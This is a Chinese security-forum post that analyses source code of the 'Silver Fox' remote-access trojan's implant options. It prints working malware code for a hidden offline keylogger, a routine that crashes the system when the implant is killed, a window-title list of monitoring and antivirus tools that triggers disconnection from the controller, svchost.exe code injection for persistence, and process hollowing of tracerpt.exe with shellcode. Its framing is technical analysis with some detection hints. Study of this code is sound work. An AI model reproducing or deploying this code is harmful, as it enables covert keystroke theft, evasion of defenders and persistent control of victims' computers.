首页
社区
课程
招聘
[原创]银狐远控的被控端是如何隐藏和保护自己的
发表于: 7小时前 117

[原创]银狐远控的被控端是如何隐藏和保护自己的

7小时前
117


最近由于工作需要,在研究银狐这套经典远控源码。

特别申明:

1. 本文介绍的内容仅做技术上的交流,请勿使用本文介绍的技术做其他用途,违者与本号无关。

2. 作者不提供任何支持免杀版本的银狐源码,不做任何黑产,有此需求的读者请勿联系作者。


在银狐生成被控端的界面,有5个可选项,分别是:

  • 键盘记录

  • 结束蓝屏

  • 反查流量

  • 进程守护

  • 傀儡进程

如下图所示:

看这些名称都是感觉是一些“高大上”的功能,那么到底是否高大上呢,我们本次就从纯技术的角度来分析一下这几个选项到底实现了哪些功能。

首先,勾选这些功能项之后,会在生成的被控端中设置相应的选项值,然后被控启动时,会检查这些值的设置,以确定是否启动这些功能,选项怎么设置的,本文就不展开了,逻辑比较简单,下面重点来说一下这几个选项背后对应的功能,咱们既然是学习技术,不会泛泛而谈,会逐一详解每个选项的技术实现细节,挨个来。

键盘记录

键盘记录起作用的位置位于登录模块中,如下图所示:

登录模块启动后会开启一个键盘监控线程,线程代码如下:

unsigned int __stdcall KeyLoggerThreadProc(LPVOID lparam)
{
    HANDLE hObject;
    do
    {
        hObject = CreateMutex(NULL, FALSE, MyInfo.Remark); //互斥下
        if (GetLastError() != ERROR_ALREADY_EXISTS)
        {
            do
            {
                if (MyInfo.otherset.IsKeyboard || GetOpenKeyLoggerReg())  //等待授权
                {
                    if (!Input::initialize(GetConsoleWindow(), GetModuleHandle(NULL)))
                        return 0;
                    Input::savekerboard();
                }
                Sleep(1000);
            } while (TRUE);
        }
        Sleep(1000);
    } while (TRUE);

    return 0;
}

其中这一行if (MyInfo.otherset.IsKeyboard || GetOpenKeyLoggerReg()) 第一个判断条件MyInfo.otherset.IsKeyboard就对应生成被控时是否勾选了键盘记录选项。

第二个条件GetOpenKeyLoggerReg()会检测下图注册表位置是否设置了值为1,如果为1,则表示开启,不存在该选项或值,或者为0,则关闭。

这两个位置参数综合决定了被控上线时是否自动开启离线键盘记录功能,所谓离线键盘记录是指即使没有加载键盘记录插件,也会自动将用户的键盘输入记录到指定文件,一般位于程序数据目录下,例如C:\ProgramData\DisplaySessionContainers.log。这是一个未加密的二进制文件,看名字具有迷惑性,被普通用户发现了,也可能只是当做某些程序的日志文件。

DisplaySessionContainers.log被银狐解析出来显示和注册表位置的开关在离线键盘插件位置如下图所示:

银狐被控写入注册表位置和选项名也具有迷惑性,大多数人包括开发人员都不敢轻易删除这个位置的注册表项。我们可以使用Sysinternals工具ProcessMonitor可以发现这是一个非系统进程的行为。

我之所以详细介绍这些非技术的内容是希望帮助那些被类似木马窃取信息的同学,让大家有个基础的判断、排查和防御能力。

上述离线键盘记录线程函数KeyLoggerThreadProc使用了一个无限循环去不断检测注册表的开关项以决定是否开启离线键盘记录。笔者认为有点滥用被控电脑资源,更好的实现方式是利用是Windows提供了一个监测注册表指定项是否有变化的API——RegNotifyChangeKeyValue,可以利用这个API挂起和按需唤醒这个线程来优化资源利用率,开源VNC远控中就是这么做的。

LONG RegNotifyChangeKeyValue(
  HKEY   hKey,
  BOOL   bWatchSubtree,
  DWORD  dwNotifyFilter,
  HANDLE hEvent,
  BOOL   fAsynchronous
);


当然,离线键盘记录功能原版本也存在一些崩溃问题,我在前面一篇文章《详解银狐远控源码中那些C++编码问题》问题三中已经介绍过,这里不再赘述。

结束蓝屏

这个选项名起的有点让人费解,其本意是说如果被控被手动结束了,例如在任务管理中结束,会让被控所在的机器出现蓝屏。这是被控自我保护的措施。好在,这个功能在现在大多数电脑上已经失效。其实现逻辑在被控上线模块中,实现位置如下图,也是位于登录模块中。

如果生成被控时勾选结束蓝屏选项,MyInfo.otherset.ProtectedProcess的值为true,会执行CallNtSetinformationProcess函数:

typedef NTSTATUS(NTAPI* _NtSetInformationProcess)(
    HANDLE ProcessHandle,
    PROCESS_INFORMATION_CLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength);

BOOL CallNtSetinformationProcess()
{
    HANDLE hToken;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
    {
        TOKEN_PRIVILEGES tp;
        tp.PrivilegeCount = 1;
        LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
        tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
        CloseHandle(hToken);
    }
    _NtSetInformationProcess NtSetInformationProcess = (_NtSetInformationProcess)GetProcAddress(GetModuleHandleA("NtDll.dll"), "NtSetInformationProcess");
    if (!NtSetInformationProcess)
    {
        return 0;
    }
    HANDLE hProcess;
    ULONG Flag = 1;
    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, _getpid());
    //29代表系统会触发 bugcheck(蓝屏)
    NtSetInformationProcess(hProcess, (PROCESS_INFORMATION_CLASS)29, &Flag, sizeof(ULONG));
    return 1;
}

这里有两个技术细节:一个是从NtDll.dll中获取Native API NtSetInformationProcess,然后调用之使系统蓝屏。Windows Native API 跳过kernel32.dll等dll直接调用系统服务,Windows Native API微软没有什么文档说明,大家使用的时候都来自各类安全逆向和社区分享,微软自己也大量使用这类API,例如任务管理器的实现。我近期计划出一个介绍Windows Native API的专栏,有兴趣的小伙伴可以关注一下。

第二个细节是,调用OpenProcess(PROCESS_ALL_ACCESS, FALSE, _getpid())申请的权限是PROCESS_ALL_ACCESS,这个非管理员权限运行的被控一般因为权限不够不会调用成功,所以又进一步降低了蓝屏功能的危害。

但是这类功能还是很恐怖的,严禁滥用。

反查流量

这个功能是银狐被控对自己进行保护的另外一个策略,开启后,当银狐检测到,你尝试在电脑上运行一个系统监控和分析类的软件时,就会自动断开与主控的网络链接。

对应的配置项名叫antinet,反流量侦查有多处,这里以登录模块建立网络连接之后立马检测为例,如下图所示:

实现逻辑在AntiCheck函数中:

BOOL AntiCheck()
{
    BOOL ret = FALSE;
    EnumWindows((WNDENUMPROC)EnumWindowsProc, LPARAM(&ret));
    return ret;
}

逻辑很简单,就遍历被控机器上当前打开的窗口,然后如果这些窗口标题带如下字样就把与主控的连接断开:

bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
{
    if (NULL == hwnd)
    {
        return FALSE;
    }
    if (!IsWindowVisible(hwnd))
        returntrue;

    BOOL* ret = (BOOL*)lParam;
    TCHAR* strTitle = new TCHAR[1024];
    ::memset(strTitle, 0, sizeof(strTitle));
    ::GetWindowText(hwnd, strTitle, 1000);
    if (_tcsstr(strTitle, _T("流量")) ||
        _tcsstr(strTitle, _T("ApateDNS")) ||
        _tcsstr(strTitle, _T("Malwarebytes")) ||
        _tcsstr(strTitle, _T("TCPEye")) ||
        _tcsstr(strTitle, _T("TaskExplorer")) ||
        _tcsstr(strTitle, _T("CurrPorts")) ||
        _tcsstr(strTitle, _T("Port")) ||
        _tcsstr(strTitle, _T("Metascan")) ||
        _tcsstr(strTitle, _T("Wireshark")) ||
        _tcsstr(strTitle, _T("任务管理器")) ||
        _tcsstr(strTitle, _T("资源监视器")) ||
        _tcsstr(strTitle, _T("网络分析")) ||
        _tcsstr(strTitle, _T("Fiddler")) ||
        _tcsstr(strTitle, _T("火绒")) ||
        _tcsstr(strTitle, _T("Capsa")) ||
        _tcsstr(strTitle, _T("Sniff")) ||
        _tcsstr(strTitle, _T("Capsa")) ||
        _tcsstr(strTitle, _T("Process")) ||
        _tcsstr(strTitle, _T("提示符")))

    {
        *ret = TRUE;
        SAFE_DELETE_AR(strTitle);
        return FALSE;
    }
    else
    {
        SAFE_DELETE_AR(strTitle);
        return TRUE;
    }

    return TRUE;
}

由于被控有重连机制,所以当连接断开时,当这些软件被关闭,被控继续连上主控然后继续“工作“了。

进程守护

勾选了进程守护,被控会执行这样一个功能:

被控启动时会向利用Dll+CreateRemoteThread API远程注入技术,先启动机器上的svchost.exe进程,然后注入一段代码。这段代码不断检测被控进程是否存在,如果不存在就重新拉起被控。

对Dll+CreateRemoteThread API远程注入技术有兴趣的同学可以看《Windows核心编程》一书的22.4节:

我在银狐远控技术系列文章中反复给大家推荐《Windows核心编程》这本书,我建议想学习和从事安全工程方面工作的同学,尤其是搞Windows安全方面,一定要认真地细致地阅读这本书。我今天能毫不费力的给读者分析银狐源码的相关实现逻辑,也离不开深入地学习了这本书的内容。

该选项名叫Processdaemon,实现位置在登录模块如下图位置:

可以看到,如果勾选了进程守护选项,被控启动时会开启一个新的线程,线程逻辑如下:

unsigned int __stdcall loactThreadProc(_In_ LPVOID lpParameter)
{
    PROCESS_INFORMATION* pi = (PROCESS_INFORMATION*)lpParameter;
    do
    {
        if (pid_is_running(pi->dwProcessId))
            Sleep(300);
        else
            openandeinject(pi);
    } while (1);
    return 0;
}

这个线程函数开启一个循环检测被控进程是否存在,如果不存在则执行openandeinject函数进行注入:

bool openandeinject(PROCESS_INFORMATION* pi)
{
    //打开进程
    STARTUPINFOA si = { 0 };
    BOOL bRet = FALSE;
    ZeroMemory(&si, sizeof(si));
    ZeroMemory(pi, sizeof(pi));
    si.lpReserved = NULL;
    si.lpDesktop = NULL;
    si.lpTitle = NULL;
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.cb = sizeof(si);

    char syspath[255] = { 0 };
    GetSystemDirectoryA(syspath, sizeof(syspath));
    syspath[3] = 0x00;
#ifdef _WIN64
    sprintf_s(syspath, "%s%s", syspath, "Windows\\System32\\svchost.exe");
#else
    sprintf_s(syspath, "%s%s", syspath, "Windows\\SysWOW64\\svchost.exe");
    if (GetFileAttributesA(syspath) == INVALID_FILE_ATTRIBUTES)
    {
        syspath[3] = 0x00;
        sprintf_s(syspath, "%s%s", syspath, "Windows\\System32\\svchost.exe");
    }
#endif

    bRet = CreateProcessA(NULL, syspath, NULL, NULL, FALSE, CREATE_NEW_PROCESS_GROUP | CREATE_NEW_CONSOLE | CREATE_SUSPENDED, NULL, NULL, &si, pi);
    if (FALSE == bRet)  returnfalse;
    if (EnableDebugPriv(SE_DEBUG_NAME)) returnfalse;
    HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pi->dwProcessId);
    if (!hWnd) returnfalse;
    RemoteParam rp;
    ZeroMemory(&rp, sizeof(RemoteParam));
    rp.ZOpenProcess = (LPVOID)GetProcAddress(LoadLibraryA("Kernel32.dll"), "OpenProcess");
    rp.ZExitProcess = (LPVOID)GetProcAddress(LoadLibraryA("Kernel32.dll"), "ExitProcess");
    rp.ZWinExec = (LPVOID)GetProcAddress(LoadLibraryA("Kernel32.dll"), "WinExec");
    rp.ZWaitForSingleObject = (LPVOID)GetProcAddress(LoadLibraryA("Kernel32.dll"), "WaitForSingleObject");
    rp.ZPid = GetProcessId(GetCurrentProcess());
    // TODO: 获取当前被控进程路径,用以被控进程被杀死时,使用WinExec重新拉起,路径应该改成宽字符版本
    CHAR szPath[250] = "\0";
    GetModuleFileNameA(NULL, szPath, ARRAYSIZE(szPath));
    sprintf_s(rp.filePath, "%s", szPath);
    RemoteParam* pRemoteParam = (RemoteParam*)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteParam) returnfalse;

    if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) returnfalse;
    DWORD lpflOldProtect = 0;
    VirtualProtectEx(hWnd, pRemoteParam, sizeof(RemoteParam), 0x01, &lpflOldProtect);
    LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteThread) returnfalse;
    if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) returnfalse;
    VirtualProtectEx(hWnd, pRemoteThread, 1024 * 4, 0x01, &lpflOldProtect);
    HANDLE hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0x00000004, NULL);
    if (!hThread) returnfalse;
    Sleep(60000);
    VirtualProtectEx(hWnd, pRemoteParam, sizeof(RemoteParam), 0x40, &lpflOldProtect);
    VirtualProtectEx(hWnd, pRemoteThread, 1024 * 4, 0x40, &lpflOldProtect);
    ResumeThread(hThread);
    returntrue;
}

可怜的svchost.exe进程,可能被反复注入!!

注入的流程的关键几个API:WriteProcessMemory、VirtualProtectEx、VirtualProtectEx等使用方法和注入流程已经在上文中推荐的《Windows核心编程》一书的22.4节有详细介绍。这里不再展开。

注入的代码执行如下逻辑:

//远程线程函数体 (守护函数)
DWORD WINAPI ThreadProc(RemoteParam* lprp)
{
    typedef UINT(WINAPI* ZWinExec)(LPCSTR lpCmdLine, UINT uCmdShow);
    typedef HANDLE(WINAPI* ZOpenProcess)(DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwProcessId);
    typedef VOID(WINAPI* ZExitProcess)(UINT uExitCode);
    typedef DWORD(WINAPI* ZWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds);
    ZWinExec ZWE;
    ZOpenProcess ZOP;
    ZExitProcess ZEP;
    ZWaitForSingleObject ZWFSO;

    ZWE = (ZWinExec)lprp->ZWinExec;
    ZOP = (ZOpenProcess)lprp->ZOpenProcess;
    ZEP = (ZExitProcess)lprp->ZExitProcess;
    ZWFSO = (ZWaitForSingleObject)lprp->ZWaitForSingleObject;
    lprp->ZProcessHandle = ZOP(PROCESS_ALL_ACCESS, FALSE, lprp->ZPid);
    ZWFSO(lprp->ZProcessHandle, INFINITE);
    ZWE(lprp->filePath, SW_SHOW);
    ZEP(0);
    return 0;
}

ZWE在前一步注入时指向Windows API WinExec,所以ZWE(lprp->filePath, SW_SHOW);就等于:

WinExec(lprp->filePath, SW_SHOW);

lprp->filePath即银狐被控的路径。

通过这种方式实现了利用svchost.exe进程实现了银狐被控进程不存在时重新被拉起的效果,这就是实现了进程保护作用。

这里拓展一下,腾讯QQ早些版本,利用一个叫QQProtect.exe进程保护核心进程QQ.exe,QQProtect.exe在驱动层做了保护,不会被轻易杀死,且也是腾讯公司自己开发的,所以不会有啥法律风险。银狐属于民间软件,就没那么讲究了,利用系统已有的常用进程svchost.exe保护自己。

这种保护思路值得我们学习,保护的关键是守护进程(这里是svchost.exe)是否牢固,不能被轻易杀死。

傀儡进程

如果勾选了傀儡进程选项,则被控启动时,会执行下图中逻辑:

核心逻辑位于buildremoteprocess函数中,实现如下:

BOOL buildremoteprocess(byte * data, int size, PROCESS_INFORMATION * pi)
{
    STARTUPINFOA si = { 0 };
    CONTEXT threadContext = { 0 };
    BOOL bRet = FALSE;
    ::RtlZeroMemory(&si, sizeof(si));
    ::RtlZeroMemory(pi, sizeof(PROCESS_INFORMATION));
    ::RtlZeroMemory(&threadContext, sizeof(threadContext));

    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    char syspath[255] = { 0 };
    GetSystemDirectoryA(syspath, sizeof(syspath));
    syspath[3] = 0x00;
#ifdef _WIN64
    sprintf_s(syspath, "%s%s", syspath, "Windows\\System32\\tracerpt.exe");
#else
    sprintf_s(syspath, "%s%s", syspath, "Windows\\SysWOW64\\tracerpt.exe");
    if (GetFileAttributesA(syspath) == INVALID_FILE_ATTRIBUTES)
    {
        syspath[3] = 0x00;
        sprintf_s(syspath, "%s%s", syspath, "Windows\\System32\\tracerpt.exe");
    }
#endif
    bRet = CreateProcessA(syspath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, pi);
    if (FALSE == bRet) returnfalse;
    byte* lpDestBaseAddr = (byte*)VirtualAllocEx(pi->hProcess, 0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (NULL == lpDestBaseAddr) returnfalse;
    if (!WriteProcessMemory(pi->hProcess, lpDestBaseAddr, data, size, 0)) returnfalse;
    DWORD lpflOldProtect = 0;
    threadContext.ContextFlags = CONTEXT_FULL;
    bRet = ::GetThreadContext(pi->hThread, &threadContext);
    if (FALSE == bRet) return FALSE;
#ifdef _WIN64
    threadContext.Rip = (DWORD64)lpDestBaseAddr;
#else
    threadContext.Eip = (DWORD)lpDestBaseAddr;
#endif

    bRet = ::SetThreadContext(pi->hThread, &threadContext);
    if (FALSE == bRet) return FALSE;
    ::ResumeThread(pi->hThread);
    return TRUE;
}

可以看到核心实现仍然是远程线程注入,只不过这次注入的进程是系统程序tracerpt.exe,先启动tracerpt.exe,然后把被控的shellcode数据注入到这个进程中,然后执行。上图中g_loginDllData指向登录模块的shellcode数据,g_dllSendData.DataSize是登录模块的shellcode数据长度,这样被控进程就无需存在一个独立的进程,其功能存在于系统进程tracerpt.exe中,让被控难以被发现。这里的tracerpt.exe就是所谓的“傀儡”。

总结

至此,我们把银狐生成被控程序的5个选项对应的功能介绍完了,并且详细地介绍了其技术原理。

为了更容易说明这些选项的作用,我在主控程序上加了几个tooltip以说明这些选项的作用,当鼠标放在这些选项上就会对相应的选项进行说明。

感谢大家的阅读。


推荐阅读

银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题

银狐远控代码中差异屏幕bug修复

银狐远程屏幕内存优化方法探究

银狐远程软件bug修复记录 第03篇

银狐远程软件 UDP 断线无法重连的bug排查和修复

银狐远程软件代理映射功能优化思路分享

银狐远程软件去后门方法

银狐远控一键编译调试与开发教程

银狐远控免杀与shellcode修复思路分析 01

银狐ShellCode混淆怪招

详解银狐远控源码中那些C++编码问题

给银狐远控增加一个小功能01



传播安全知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 7小时前 被CppLover编辑 ,原因: 图片修正
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回